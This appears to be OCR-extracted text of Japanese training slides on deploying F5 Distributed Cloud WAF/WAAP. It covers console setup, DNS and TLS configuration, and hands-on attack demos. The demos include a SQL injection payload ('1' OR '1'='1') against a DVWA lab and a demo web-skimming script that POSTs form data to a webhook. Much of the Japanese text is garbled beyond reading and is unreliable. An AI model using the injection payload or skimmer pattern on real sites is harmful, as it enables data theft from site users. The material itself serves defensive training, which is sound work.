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BT X=)

R NEEROETFEEMUEI L,
AROLSBA-IHEEET,

4% : Update Your Account

= A

F5 Distributed Cloud <no-reply@cloud.f5.com>
X% ZEZMER TERVGE IR TAN A% Account name: ted-demo

7\5 §$ l_\\ \
— En:b\(ﬁ.é L © Your administrator has just requested that you update your ted-demo account. Click
on the link below to start this process.

Update Password

N2 —REGTEDA=ILNEEZEEI DT,
[Update Password |z U T/\ AT —RDFZTEZLE T,

Update Password

This link will expire within 1 day.

DY)
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0942\ A0—RODEEE

[Update Password 1Zz7Uw 93¢, NAD—REETEZ

ROSNFIDT. s TFEZ2LET
JNAD—=RIC[E. KXF/INXFAFHURFZ 1 DT DS

W27 XFHUETHIBENHDET

Update your password

@ Your password must contain at least 1 number, 1

lowercase and 1 uppercase letter, 1 special character and
be at least 7 characters long.
' Your account has been updated.
)

EVTER. [Log In] ZIFTFLET

Mew Password
Enter new password @
Confirm password
\ Confirm new password @ /

—|

 BIRERPRDGBE R/ (RD — REREZBFEVWZLET .
RRILJHO> 7012
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Log in ZJUw)1&. 7> haZROSNDEE(CERU BEEmail7” RLAE/NAT—RZ2 AU,
Zald. [ted-demolE ATIUTNextZ#H FLE T Sign InZiIHTFLET

@ Email

Login and get to work I i com

Are you subscribed to Teams or Organization plan?

Please enter your domain first, so we can identify your company. Password
wWor

‘ ted-demo X ‘
: ~Ves: o 7/ Forgot Password?
N\
— T

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 8 BRRIL2JFO> TIGTR




New Feature Highlights (‘onnect Beyond

PITFDO&LS2New Feature HighlightsiBIEN Tl & (&, [close]z# FUET
FRSNBRVBE(RDATA RICEEENL TZE L

New Feature Highlights ¥ New Feature Highlights .
Catalog P:
g Pege Customer Edge Manual Mode Deployment for AWS
B w3 our new Catalog Paoge ¢ anced Senvce able t fows, and workspace
focused RBAC roles. These uodetes are desioned 10 18 ' YOUr 8CCe8s 10 X Manual Mode 1s another method of ceploying Customer Edge (CE) slies that
Show Me w th a & Wmbor ot ) templates
easier 10r customers 10 consume and deploy
Site Dashboard Enhancement °
w 3 of vakunbi t ‘
— Users can now attach SR-IOV interfaces 10 VM based Network Functions (VNFs

New Feature Highlights

Console Main Menu Tiles Reordered

F5 Labs Is Your Resource For The Latest intel

Dont Forget About F5 Labs Where You Can Find The Latest intelligence About

WAAP Dashboard Update

Fiiter Save and Share

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 9 WETLIMOY TR




Services Agreement/ Privacy Policy®DRIE ¢ IdentifyDES7E (‘onnect Beyond

End User Services Agreement&Privacy Policy® DevOps. NetOpsiREETHOIER(CFIVIZ LN T,
NBZEDE. FTVIRYIRCTFIVI% AN, Nextz#f FUET
Accept and AgreeziB FUET

®

Please review and accept our Terms of Service and Privacy Policy

Help us set up your F5 Distributed Cloud Console

What do you identify yourself?

We value your privacy. Please review the following documents before proceeding The user interface will be optimized for tasks vou do. You can
further. change tasks you do in the app at any time
DevOps @
[ F5, Inc. End User Services Agreement [2 ] NetOps @
[ F5 Privacy Policy [2 ] ‘ SecOps @

Developer ®
B}’ Checkiﬂg this box and prOCeeding with the regislfatil}n | aCKn0W|edgE that | have read, understand, @ Super User @

d agree to the terms of F5, Inc. End User Services Agreement and F5 Privacy Policy

[ Accept and Agree ]

A

Billing administrator @

New Feature Highlights

X
NGINX One Preview
Next
Groundbreaking tool now in Early Access for all F5 Distributed Cloud users.
| Show Me

DevCentral Has Been Refreshed and Updated
New look and features to continuously improve your community experience!

| show Me

Bot Defense Peer Comparison Dashboard
Peergroup Benchmarking! Gain valuable Insighs.

&Iy

Introducing The New Technical Knowledge Site 0) \ I
S|

S RRILOHOY TR
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Advanced(CF1IvI%Z AN, Get StartedziF FLET

This is the new F5 Distributed
Cloud Console experience

Welcome to the F5 Distributed Cloud Console _ A
Help us set up your F5 Distributed Cloud Console FS Distributed Cloud Console delivers a set of networking, security, and app nostimportnteements

management services that can be used to solve various use-cases.

Common services

*——e
A ] 0o [Preview} ]
® % n &
Cloud and Edge Sites > Distributed Apps > Content Delivery Network > DNS Management >
. Deploy nodes in the cloud or Deploy apps in our global PoPs Optimize asset delivery with Configure and manage primary
What level do you consider YOUI'SG|f? edge for networking, security, (REs) or your cloud/fedge sites content caching or secondary DNS service

or K8s services

be hidden fo

the app at any time

. . N2
Intermediate L; E@ .?\O\E ° 8.
. o\
@ Advanced Load Balancers > Web App & API Protection > DDoS & Transit Services > Bot Defense >
Create and manage HTTP & Create a proxy and configure Secure your infrastructure and Deploy bot mitigation for F5
TCP Load Balancers on nodes WAF, Bot, and API security apps against L3/L4 DDoS BIG-IP and other 3rd party
in cloud or edge locations services for your apps attacks services

AT e © @D e ]
e | R O o S

Application Traffic Insight > Client-Side Defense > Account Protection > Authentication Intelligence >
Recognize and moenitor all client Monitor and mitigate fraudulent Reduce online fraud against Identify returning/known users
devices that access your app reguests at the client web and mobile applications and reduce authentication
applications devices friction

% 1>V — LB DOURL
https://ted-demo.console.ves.volterra.io/
EERECCETTERDIT
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KIOZXAAZF—TELTFD3IDZEYI YT

® DDoSI{ZE
o ABOTVIEREEEROIN 1-9-DB5—FTED DT, Y= N— PRy hNI—TEIIS LB
® 2024FEDERICEBELBOEINE

® SQL1>¥1933> (SQLi)
® Web7TIDANTA—LREICEBDHBSQLIHIBHIALTET, F—IN—RICRIEFITR T BINE

® OWASP Top 10x(CE[EI5>201> 9 2NKRNBINE
¥ Web7 -3 B ERRTFT1VT(URI 2RI NSIEZNTT —7EEFROBRZ2E(C10IEB (CFEHIZUR N

® WebA+z=>4)
® ECHA MREICAIERRIavaScriptz{tiAdr. BBATA—LRENSIL v Mh— RIBEERPE A [FHz EHENDIREE
o FIAHBEVLEEENIONMRVEIC, BEIBIRNE=F(ISXEINTUEIZENFEAL
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{50k DDoS {2

=GR =]
/'Web77°')7—°/3>

1. IREE (\wh—) M EFRPOIAIVRAICRRREU/NYIIoTHE: (CNZIRY N EFUET) Zi=fRIEIE

2. ENHOEZINS—F(CA-TYROY —)N—A\T7It X

3. *j—}\“—d);k“} NI —HOFEENEESNEEMNECRS, FEBXEOTILAICHULTYH—N-FHELENT
Y—EZADSTD>
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SQL (IXF1—T) &tlE. T-AR-RESFEIDLHDEE (HX)
Web7 JUT =23 0% S AT AOZEAITLENDNS
BI) ECHA MREDDY A VAR ARZRIRE

BLEEER L H oo K
TR SOLZ TENOBRERT
—
| :
———
wzULmasER oo Th SO SR
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SQLA>I1I3a> i, Web7 VT —2a> (S U TERDHDSQLY (F—IN-RZIRIFIT D80T) %
ANTBIET BANIEHRZAF. REOTA> . T—AN-ZAZRIEIIRIET 2ENRIRERINETFE

IA—BANFTERDHS ARIERSQLX W &EREN.
SQLXZHHiA AT IS DBICix{EEN D

& — —

qEEE B 2 (CHUTR [E AR ECH/ b FEREVLT. ATDLSR

fodiials _ B En3
BEANIBERIEOTLES . [ENIEIRIEER
- FRIEOVA>
. T=HMSA
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SQLA>S17332RIRICGGRI O

1. PN -—N\=(C7I1RTS

https://handson-dvwa.xc.dev.tedlab.net
Username : admin
Password : password

T OLSBEEDH TERS0K

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main

Instructions r : C ! bl A A
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web

Setup / Reset DB developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

Brute Force The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of

Command Iniection difficultly, with a simple straightforward interface.

CSRF

o 11 Y -

(’o?nec’r Beyond
—

t Ul Database Setup |ELVSESRBIEHAH TECS. BiHE I~ 8PD[ Create/Reset Database I/N7>%z40v)

Database Setup *
Click on the 'Create / Reset Database' button below to create or reset your database.
If you get an error make sure you have the correct user credentials in: ivarfwww/html/configiconfig.inc.php —

If the database already exists, it will be cleared and the data will be reset.
You can also use this to reset the administrator credentials ("admin // password™) at any stage.

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 17
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SQLA>S1U33Y& KRBT ((onmect Beyond

2. HRIOYA RXZ1—H5, [SQL Injection 1z )w%

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

|
|
|
|
|
CSRF |
|
|
|
|

File Inclusion

File Upload

CHA

P —

3. User IDJ/—JURICT1' OR '1'="1 |EAT]

Vulnerability: SQL Injection

User ID: [1" OR 1= || Submit |

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 18 RRILZIFO IR
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4, UFOLOBFERNTRENIS, SQLA>21723ERINTT

UserID:| || Subnﬂt|

ID: 1" OR "1 ="1
First name: admin
Surname: admin

ID: 17 OR "1"="1
First name: Gordon
Surname: Brown

ID: 17 OR "1"="1
First name: Hack
Surname: Me

ID: 17 OR "1"="1
First name: Pablo
Surname: Picasso

ID: 1" QR "1"="1
First name: Baob
Surname: Smith

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 19 BWETL IO R




SQLA > Y153 DS (opctBeyond

User ID:[c[1° OR ’1‘=1 IEANTBERDELSIBSQL N DBICEITESNET

4 )
SELECT * FROM users WHERE id = 1" OR '1'="1"; o
Y Y —
- /

usersT—JILOFNS.  \WHEREA)(Z[ &4t |2 RLET

WHEREDZAHZ—EX \ \ DVWA
93T (J‘:T_ S g CCDEAFTIdN 1 THD IFE M1 EVWSFHIAM T EFLL ]
FARTEE DFEDEMARFEITHILT true (B) (CBDR

¥

AT, "1 OR '1'="1"2 ANBIL T, DBICE RSN TL\BusersT —TILDINTOITFTDRMAZIBIZL TV LD
BROICT-TIADZET—F (1-¥-) BRFRETND

ANTA—LFLCAVFI5-BXXFIEZERBICANTECET RIEEICT—HZEUSTHEDTTHE
ANITBIXFIICEO TR, DBOT—H2ESHMABILETETLES
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WebH A MCEENDHDAVUT™ (JavaScriptirE) Z{HAAT.
I -DNABUBENIBHRDIL Dy M — RBERBEEBHEBINEF L
WebZF=> ) IRE(F - -DI 30 E TEITINZeH. —REBIRBWAF TSR B (SR EE

157 Y% AU TAIEERI—R S ASNIERIT N A AT
BUFOsEhs . WEEOFAE LR MR i
ENE:: h—KES
lﬂbk@* XXXX XXHKX XXXX ) 9.9.90.4
o FIAEEQIEMDURLICZILALFE (1= F— N ERO
TW3 3559:_’&%*2];}\“— AR (5/4)

. ~ J{ZT— R - MM/YY

o HANERE EEEMLLTEYAL |

BETIEEICE{ELRIETLD £F21UF 10— K CVC/CW

o AJUTMI, 1-¥—-DIFUYICH
HAFNTERITEINDIzHD, Y—I\—-(C
[EARFREFEED DL

JRT—REENEAEFZES
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1. LT OWeb7 VD772 AU, &Rl [A=IL7RLZ L [)SRAD—RIZADU X ENI>Z2 T ILET
ER ! EROBRPA-ITRVA KAT—=REAALBVTLESWL

https://handson-csd.xc.dev.tedlab.net/

SRVWEDHE

HH:

test

A=JLT F LA

X000 @test.co jp

%5

2. [REFTT ! 1EVWSIRYT YT TIZB0K
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WebAFZ>J DfEHRD

— RRRCHFELEULIICRRUASNN T NEBVEI N

EEREFEFEERNA T VLB ECHEPOY — /N —(CEREEENTVET

Form(ZfB N [BER
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J7'SOYDRFEET— RTIS(Java Script) 2RI S
1. J59Y%35 EiFmE—h—ROf12F+—#9 (Google Chrome/Microsoft Edge/Firefox)

2. Network (RyhDJ—%) 5T%7UwHLF9d (LT (EGoogle Chrome®iE|H)

‘® [D Elements Console  Sources | Metwork | Performance  Memory  Application  Privacy and security » Qs 47 B3
@ @ b d 'D\ () Preserve log Disable cache Mo throtthng "T‘E N
Y Filter O Invert More filters All | Fetch/XHR || Doc | €55 | )5 | Font || Img | Media | Manifest WS ||

| 2,000 ms 4,000 ms 6,000 ms 8.000 m= 10,000 m=s 12,000 ms 14,000 m=s 16,000 ms

MNarne Status Type Initiator Size

[E handson-csd.xc.dewvtedlab.net 200 document | Other

] volt-ted_demo_laggcovg-e9afecejs 200 script (index):2

[7] style.css 200 stylesheet  (index);5

[ main.js 200 script (index):22

[ dummyjs 200 script (index):23

Copyright © Tokyo Electron Device LTD. All Rights Reserved. 24 BRI IO IR




WebAF+= ‘/ﬁd)ﬁﬂ%ﬂ@ (:o\gnec’r Beyond

Name 4 X Headers Preview Response  Initiator Timing  Cool
[E handson-csd.xc... 1 /7 webhook-submit. js
LI TFOFNE(E. Google ChromeDiz&DFIIEE & vort-ted_demo.. 2
\ e, 3 (function () {
BDE, ) style.css 4/ EEEICDONEERSAGBICET
(2] main.s 5 document. addEventListener ("DOMContentLoaded”, functiof
\ oI —=7 |E] dummyjs b const formId = "contactForm”;
3. J’/(—F@/\ /(‘—} ’]‘GZbi? [ local-storage.js T const webhookUrl = "https://handson-csdwh. xc. dev.
https://handson-csd.xc.dev.tedlab.net/ B express-ftejs 8
_ 9 const form = document. getElementById(formld);
(2] express-fte-util.. 10 T (Iform) return;
4. Eﬁ%%:E_ I\O)@E@Nameﬁ([&bé ggﬂﬂalitis-wm 1?’2 form. addEventListener("submit”, function (e) {
. 3 . ganalitics.com - v ! ubmit-, runcti
dummy.jsz7UvIL. BRIFT DPreview’ SRET— 13 e. preventDefault();
I Jw I = =SNG 14
DIvT9oE XY le\d)quﬁ%ﬁﬁn'“_cgij © gstates.com 15 const formData = new FormData(this);
& fountm.online 16 const data = {};
| iR s 14 [ — = @ pixupjges.tech 17
S5. Z’] th@ljil—e‘f%ﬁﬁ(%;%ﬁﬂg_ﬁt\ @ jquereid.online 18 formData. forEach((value, key) => {
Form A D UT/B#R&EVEL, POSTT 0| el =l
s — seript_... 20 :
webhookUrlISEEL TV © 3147302c-ac97... 21
EVOARBEICRDET © 3147302c-ac97... 22 fetch(webhookUrl, {
23 method: "POST”
3147302c-ac97... ——
E:M?:m:_jim v ?il he?{niergi { e

SEEEDHDPINELSIC, ISFEHZFEVWARICURED. XEFEXDURLZEDF I HLTVET
EIRFISRZRESLVABIICULIED, FESFEDURLZH#GTE - YRR VICTBIENITE, I-F-bDERK[IODNICLBDFT
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RICEBROXRESNLBEHRZHEZIL THD

1. BIFOR=Z(CT7IEALET (HECHBFSELET)
https://handson-csd-wh.xc.dev.tedlab.net/# ! /Xx000000000000OOXXXXX

2. HEEAZDREQUESTHSPOSTZIEIRL. [EIHE F DQuery StringszH3dET. Form TR EUET —HZ2HBENTEET

REQUESTS (8) I

(opTions EZ{ PRy Query strings F

May 1, 2025 3:03 PM

[oprions PRUZE ] emet) .
May 1, 2025 3:03 PM
"name" : "email": ' "password":
s P

(Y o0 [

May 1, 2025 3:03 PM

T #1405

May 1, 2025 3:03 PM

zar3er

May 1, 2025 3:03 PM

POST | #37747 5
May 1, 2025 3:03 PM
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Web77Us -3y 2B R RN BBEEFEDEL S (opnectBoyond

DDoSIE
RE=EDBEZENML T, XYM —-I0FE DY - /(-0 - zthEIE T,
H—EXZEILEES

SQLA>31733>

IA-ALICALF 15— RBXFH2BRIC AT ITEET, NEICT—5ZESE-
S AT BLORINEE

WebA+=>%

WebH 1 MCEBEO®HDAVUT N (JavaScriptizE) ZAAT. I-H—HADUEAN
[BERIL D b — BRI EZ B HEVBINEFE

RIIINEDWMENSPIVT—S3>%F5. WAF (5 RWAF) [EOWVWTENT
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WA Fa (i ( onnect Beyond

WAF: Web Application Firewall (917 722U —33>I747IA=)l) DB
91T 7V =33 %I B IEEISFRHIC. BIEZEEER - FIHULTRIERUIIA M OVITEYII-TY

WAFDAREN 375 (ED 2 TIREZRDIF20NY) (F. LB TFD2D(CDFT

© SIRFN=R (IN9=2IYF>Y)

BEIRNDIREE)NH—> (SQLIPXSSRE) (C—EXNITBINEINZFTIVI TS

BIZ(E ISATPMISDUIIAM'id=1' OR '1'="1"INSFNTVES, ELHMLI OVITREVSENETT
COEIRIEE )T -2 NENIIRFEFS, ZOIIRFrIC—ULIESI OVITB5ETT

SQLAYII I3V R EDBEL, EICSIRFAN—ATHRE-JOVILET

@ FEEIN—R (PJ/IYUNR-R)

EEOUIIANMEEPIFEIPIS D77 AERRE, BEREFE R 7 I AEmNS . WELHIRTLTIOYIIS
F3ETI

IA T Al (#mFE) ZFBUARK - J Oy ENSDES
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759 FWAFE(S

59 RWAF :
759 RS —EREVUTIRIEEN A WAF

(’o?nec’r Beyond
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&Iz, Z4{DY5Y RWAFIC[ZDDoSREMEENMRAETHMAZNTUNSD, EMEREEL THRHATNTVEY

957 FWAFDAUY

- BHH#ORIBCHEEBEN B LU
DDoSIRE X SREL TRIEAY
FERIBEZIERL X
EZHCTHICBHIRIEDOY — )N PRy D —
DU —ZAEEEURL)

- ERRBOSEHNDRN
SHXFV(EIA-N—NEIR - BT
o EBEAFTOEARINECORMIIZENS
X INEIRER DI ATLADOS, YINITT ., IPYRWVTULSPortiRE

DE¥ZUNET DS
HSUIBIR SN E I B DB MESSEDFFE(CFIAENS
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F5 XC WAF (WAAP) YUi1-33>
[cDWNT
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WAAP(Web Application and API Protection)¢&(3 ((onnect Beyond

2017 (CRIGEN TR ERDOWebEF1UT 18I

Web7 7)o —2 3> 0'/ XA L7 TUTAPIFIAOEINCH V. ITFERELT ST/ -IRE(THLT
MERBLDWAFTZI TIRIIRIIA+5)

>APIORESERBULEFIUT RN E

WAAPZWAFTHISZDEEIELUTERLTHED XC WAAPICEWTIEA T D27 ETS

SSSEY <y N I—IRUTFIr—Sa L RILOUY - iR
TV X F P EABIEERT, I51 T MRS\
BotRUY— LOMREE, 55V EHIEL B R DB 3Bot AR
APTF A ZN)\UEVI TR MBO RS HER

X Gartner(3 4 IHEOMNMEREZBARUTWEBA. L8 —EBIEF5MXEETY,
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F5 XC WAF (WAAP) YU1—-33Y[loWT (ogecteyond

o JITURELOWAF (WAAP) YYUi—->3>
« JRETL3/LA, L70tF1VFTriKREZER R HE

« DDOSHEDPSQLA>I1I3aYBMEBREDMEDSLRE
- WebA+=> I xiRikEez iRt

P@ II s S o =

L \ g STHEOTSYMIA—ATHRE . éf\“}
DDoS WAF Bot API KTUwHH59 R
a ; R Pt xS fREE
- It | / ®

EEH -Bot A WAAP ‘ — : ME

{SH—Fyh I53M4R—-MISDR

%RE (Regional Edge) (&, F5 XCO/O-N)VicEEEENZPoP (Point of Presence) #18UFY
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F5 XC WAF (WAAP) YU1—>3> D%,

WE(I B Y41 Mcm<ailc#zb

(’o?nec’r Beyond
—

BAN-IREZBHIT ATV EREVY-RIPERNHD. 759 RE R THEEEEREEOENNHS
510000 BT FERREARIC
London | J AISEY I —-%ERE
" o msterdam
Seattlé\l Toronto ‘ ‘paris-‘@g
Toyko 0 "*3. New York ‘ Lisbon O°O Frankfurt Tokyo |
Singapore = i, ~o » Madrid . OO—Saka Seattle
San Jose DallaSAtlanta Ashburn | Hong Kong
Sydney < 5. Chennai 9
~ Mumbai | g
»e! = San Jose
Singapore |
\1
= VY
Sao Paulo @Sydney San
.  HRAPCHIZHDOPoPHLINSWAAPHEEZ IR 59 "Jose
. WEEFIEATORBOOF-FESH-TIOYY hikrwgame
«  L3-L7DOH5WBZWE(IE. DDoSHEREMEEIBEETER
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WebAF*=>J%15& : Client-Side Defense (CSD) & - {REDHFAH

F5 XC CSDH*U51 7> bDlavaScriptDFEEZEEMIBHL T FIERBIEZT OVISE HHAE
F5 XC CSDIE, 7517 > McWebR— D> TIVEISE S BLE(C, BERANRIVT MABDIAL LT, A RE R

J350Y QYA T> RO
b= —— FAT7 > MDVITIANE
| 7777 | @F5XCRETWebS 1 NCFIER e ®
> >
User < <
@FSXCHES#RFZ YT MeWeb/R— ) BWebR—SHISE
JIFRAUT D547 NMIILETD WebA—S
\' -
®IF14T7> DTS o ZorEs
Ijﬂ:‘(zgﬁajﬂint - c“ nt_s'deoefe KAXXK } b 9. 9.9.4 KX AKX KK
BEHRAZIUT N 1-Y% i”ms"“’“’p* R (/%)
ISOIERTIT AL — - vy
sreLoEi- | 70" o
j|:|\y/] Fa1UF+ - CVC/CVV
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BIG-IPER FO7IUH—>3>%F5 XC WAF (WAAP) TIR:E (‘omnect Beyond

- BAFIEBRRZZZY(CE ATIEE
o BXEBIG-IPOYA S I ARBTWAFDE A DT HEIEE
 BIG-IP AWAF(WAF)%Add ond 354, /\ 1TV REFTIADYTL —ZAHNNEBERDIZEND, DX MAIE(Z

EnacEhend
App App

« A>TL. I3URICBRER I ICBIG-IPEE F A DS AT AICEWAFZE A ] HE
App App
F5XC WAAP

WEH-Bot
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F5 XC WAF (WAAP) YU1—-33>DEASE (onnect Beyond

DNSOUIDEZICLDEA

. . BELYNI—J
YN L EIRR - ~

www.teldevice.co.jp A 10.10.10.10

[ @&
@ DNSH—/{—

Usefm ] 0
- — o JEEEN %
10.10.10.10(c 70X BIG-IP Platform
10.10.10.10 WebApij

BErYhI—0

= @2 ALJ—-RTOVINEZEA]HE BmELYMI—-J
LRIRR 4 N\
www.teldevice.co.jp CNAME f5xc.example.com [ @ ]
@ DNSH—/{—
uSerm % o
—
\ @ / BIG-IP Platform %

f5xc.example.com(C 7t A

10.10.10.10(C79t€ X 10.10.10.10 WebApps
F5 XC WAAP / - -/
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2% : F5 XC WAF (WAAP) EARFDESM (omect Beyond

No. = =| B
1 DNSHInE:Z (= 51 RWAFQ & WAFDE R (3. FQDNEEI TOMEAITIDF T . 3%HFQDNDDNSL J— R%FS5XCOHTTP Load Balancer(CEK £3(CL 01— Rat )D&z 3¢ TWAFEERLE
NOBALSISIF D/A 9, ZHFQDNZEIEL TLVBDNSH - - DR EZBNNELRDET .
2 A5 RWAFHSOB=FT] %aﬁog%vgixg% gg;;ﬁ—/\“—b\aﬁtoa»r 7> hDIPY RLR(E 959 RWAFCRDET  EDfes, AVSSH—N—FIFFWRETI5I RWAFHS DI
El E g U4 o

LUFURLO[ Public IPv4 Subnet Ranges |(C5C&iaN TL\B~AmericasiREéDE!)—>3> (Geography) DIPF RL XX UPortzsFa] 9 3L 3ICERET ZNE
h&HDET, BH. Protocol TCPERSTWBIPT RL ZDEEFDHFNHET, Protocol UDPOIPY RL ZDESRIEAETY

https://docs.cloud.f5.com/docs-v2/platform/reference/network-cloud-ref

3 H54 7> NPOZEE D5 RWAFEIRER T BCE T AU —IN—DEH D514 7> NIPIETARTH5D RWAFDIPICRDET,
AN - N —RIRETHIT4 7> NPOIEREEEL TULBLSRIES (L. X-Forwarded-ForiRENSEI54 7> MOIPEZEVE T 3L SZEHNNE(CRDET,

4 HTTPSLSMDBIEN SR YA NOBE(COWNT F5 XC WAAP(E, Webs@ (S D3 IEL TS0, SSHFTP, X— )L REDBEICEIIIGL TVER Ao
b f BRI WebH 1 he[El—FQDNT, SSHPFTP, SMTPRREDY —E 2z R 4L TLI\2WebH 1 MZBIL T(E. HTTP/HTTPSLUSADBEN 5T RWAFZAZELARWVESICT
SRENHDET .
5 HTTPAWA—0E#N 55% RWAFH IS4 7> MM OUIT A MEZ S BT MS BHTTPAY - BT E W\ ET,

https://docs.cloud.f5.com/docs-v2/multi-cloud-app-connect/how-to/adv-security/configure-http-header-processing#headers-added-by-default

-X-Forwarded-For: <client>, <proxyl>, <proxy2>
D347~ OIP 7 RUZANEEKEN D BHCANAYT—N02iBE. IP7RLAGAIRCGENZNES., (IP7RLANEUSZE THARGEIENETD)

- X-Forwarded-Proto:
D347 > DS RWAFRS TERENZHTTP FORJ)L (HTTP/HTTPS) OIERNSE HicnFd.

- X-Envoy-External-Address :
347> MOIPY RL R IEFRNSEBENDET .

- X-Envoy-Original-Authority :

547> NIIZANDFQDNE N EEEHENE T

-X-Request-Id :

YIIANz5#R19% UUID hstadnExd.,

D347 NIIZANICONYI-INEENTWSIHEE(E UUIDEEBEENE A

-X-F5-Request-Id :
V)IZMe:#519% UUID HaEsan®Ed. VIR MBICHUWUIDICEEZENDET,

-X-envoy-expected-rg-timeout-ms :
AU >TF—)Lo HTTP Idle TimeoutfEHW'sE & SNE I .
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(’o?necf Beyond
-

I\ XA > SRt i D S5 R AN 8

® F5 XC WAF (WAAP) OEAXRMRBZEZHICDOWLT
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F5 XC WAF (WAAP) YU1—-33>vDiBRER (orpectBeyond
RDIDDATZ1) MIBE(TIZDFT

1. HTTP Load Balancer
o DAV MBDOUITI A Ne 2T BICHDELTE
« HTTP Load Balancer_E TWAF(WAAP)HEEDENE

2. Origin Pool
« 7 —33>5—){—h'0rigin PoollCAHHULET
« HTTP Load Balancer (&, 2BV I A M ERICAIEZITOY -/ —NERXULE T

3. App Firewall
o WAFOTFI1UTARIS—(THEHUFET

WAAP Origin Pool

DDoS ‘('XAF Bot 4 N
fO Qw UHTZ Protection I ! ev'\’,g”) Defense UHTZR
R # HTTP Load Balancer # LI

1—H— WAAPDZ#4BE(d. HTTP Load Balancer L CEh{E

\77°U7 —->32Y-) (‘—)
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F5 XC WAF(WAAP)DDNSLJ—RE#ICOWNT

(’o?nec’r Beyond
—

HARC(E 32E5 PXA>ODNSLI— ROEZZEE I 5L TFSXC WAFZERWZLET
128, F5 XCIFHERDNS DY —EXEIRMLTHD. F5XC DNSIHAERFZEEL TLVS RAA > T, FSXC
WAF(HTTP LB)2{ER% 9 5¢. BEIRIICALI— ALV ENFT (FTRID@D/(F->)

@ 1&EEFZELTLVRL\DoOMainDig &

LITFO200)\9—>h6hFxE 9

1. ALJ—-R%=FIA
F5 XC I'53IALVEENBIPZ . BEFEIEODNSY —/)(—(C
ALO—-RELTEERUFT (AT23D)

2. CNAMEZFIFH
Load Balancer/ER#&(C. CNAMEL J—RhFALHENE T
ZOCNAMEL J—- REEZRBEIRODNSY — )\ —(CEERLET

1. www.demo.teldevice.co.jp IN A XXX.XXX.XXX.XXX

or
2. www.demo.teldevice.co.jp IN CNAME ves-io-xxx.ac.vh.ves.io

(NRRRENNY

DNS/ T

P g e " DNSH-/t- F5XC WAF
| ] _ ' F5XC DIP Address
WebiE{S or

ves-io-xxx.ac.vh.ves.io

41

QFERFZEL TL\3DomainDiga
Load Balancer{ERBFICEZ= D RAA > &%z E|NHTRIET.
BE(CALO—- RMAVWEENET

www.demo.teldevice.co.jp

(O (% IP Address xxx.XXX.XXX.XXX

F5XC WAF

»

WebiB1{S

F5 XC DNSI&.
demo.teldevice.co.jp. RX1( >z EIE

NIZAY N =TI TRQDSEEEFH

RRILOHFOZ FIVTR


http://www.xcs.teldevice.co.jp/
http://www.xcs.teldevice.co.jp/

I547 > MNE{EDSource NAT (SNAT) (DWW T ((onnectBeyond

BGP Anycast(C&2dSNAT
F5 XC WAF AsiaDIP7” RLAICSNAT
AnycastD{H#HC LD, 1-H -0 (HTTP LB) Aci
VITIAMIRBEODREICEEENS Sla BEEY A FOFWRET,
COSNAT IPxEFaIL
THBESD
Pfcﬁ F5 XC WAF
————————— > (HTTP LB) | m
R ~. America America®IP7 I‘\‘l/Z(ZSNA;r'
l_ﬂ:\_ - ~ - PR - -
@Asia . Pt BEFBRCHD
A, F5 XC WAF - H—)\— 7IUiRE
(HTTP LB) Europe Europe®DIP7 FLAICSNAT
F5 XC

XSNAT IPOfEF. LI TFZ2E&8R
https://docs.cloud.f5.com/docs/reference/network-cloud-ref
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HTTP Load Balancer®SSL/TLSSIIHEEiF ((onnect Beyond

WAFZ @RI 3IC(ZHTTPS (BES1t) @{E%ZHTTP Load BalancerTikif (185) 9AMNEHLHNET
#Rim9 B(ClE. HTTPS Load Balancer(CSSL/TLSEEBEE DE#xZ I 2B N HDF I M. F5 XC (CFIRD3D
DIACENIF ]

1. BEERFF5AHDSSL/TLSEIAZ 2 FI H
HEBROA) S Y —)\—TTHHEIN TV 35S/ # e S ixUF T

2. F5 XC B&H17D:EiBZZFIA (ACMEL]1—RZFEHTER)
HTTP Load Balancerz{ERkf&(CHAWHENSACMEL 11— F2DNSH —/)\—(CEFR I DET.
Let's EncryptDsEBAENFEI TSN, EARAINET

3. F5 XC B8 F1TDIIAESZ2FIH
F5 XC DNSICHERFEEEL TL\VB RXAM>DIZE. Load Balancer/ERkBEFCEHEN TLet's EncryptDsEBAE N FITIN.
BWRINET

NIZXAY N —Z2ITII3DHDFHEZEFIA
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} \)Z“# > I\l/ - :)0‘ iﬁiﬁ (:oanec’r Beyond

.. . F5XC _LICF5 XC WAF (HTTPLB) #3704
F5XC WAFC/R£93H—)(—
F5 XC J>Y—)LEm F5 XC AWS

/ dvwa container x 10 \

- Port:8081 ~ 8090 -\

P % JOTAN DDoS WAF Bot API L ) )
% """"" > nE BE WS RE TP :

HTTPS  gue | |

_________ - .
WEEL-Y- >®_ Load Balancer E . .
pS4PYNOTIERE | T

\ Ubuntu 22.04 /

http://dvwa.app.dev.tedlab.net:80xx

<[EEDHRANE > .xc.dev.tedlab.net
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(onnect Beyond
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No.| 198 17

O 00 N o U1 A W N =

—
o

<fEEDINA &> .xc.dev.tedlab.net
<fEEDINA > .xc.dev.tedlab.net
<fEEDINA &> .xc.dev.tedlab.net
<{EBORZA N> .xc.dev.tedlab.net
<fEBORZA N> .xc.dev.tedlab.net
<fEEBDINARE > .xc.dev.tedlab.net
<fEEDINA &> . xc.dev.tedlab.net
<fEEDINA I > .xc.dev.tedlab.net
<fEEDINA &> .xc.dev.tedlab.net
<fEEDINA R > .xc.dev.tedlab.net

<fEBORANEG>(CF. CBEOZBIFZZ ATITE,

f51) taro.xc.dev.tedlab.net
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® Namespace DzihA

® Health Check®D{ERk

® Origin PoolD{ER%

® HTTP Load Balancer M{ERK
® Routes D:EEA/EETE

® WAF Policy ODYERY/F1—=>%

® 7E : WebZXFZ>/ %2Rk (Client-Side Defense) (CDWT
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INIZXAYN ==

® Namespace Dz5iBA
15— F— - H—ERBAITYY—2E S TEET ZHORIBOIBAR-ZTT
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Namespaces D&iEH

® FF> Ml el e

® 1-Y-H{IT/ITrATE?
NamespaceZz i1l

Home » Administration » Personal Management

® s t 0
My Namespaces ® Support v (Q)

(® Add Namespace

Name Description IAM Users Type

Contains shared config objects in Shared
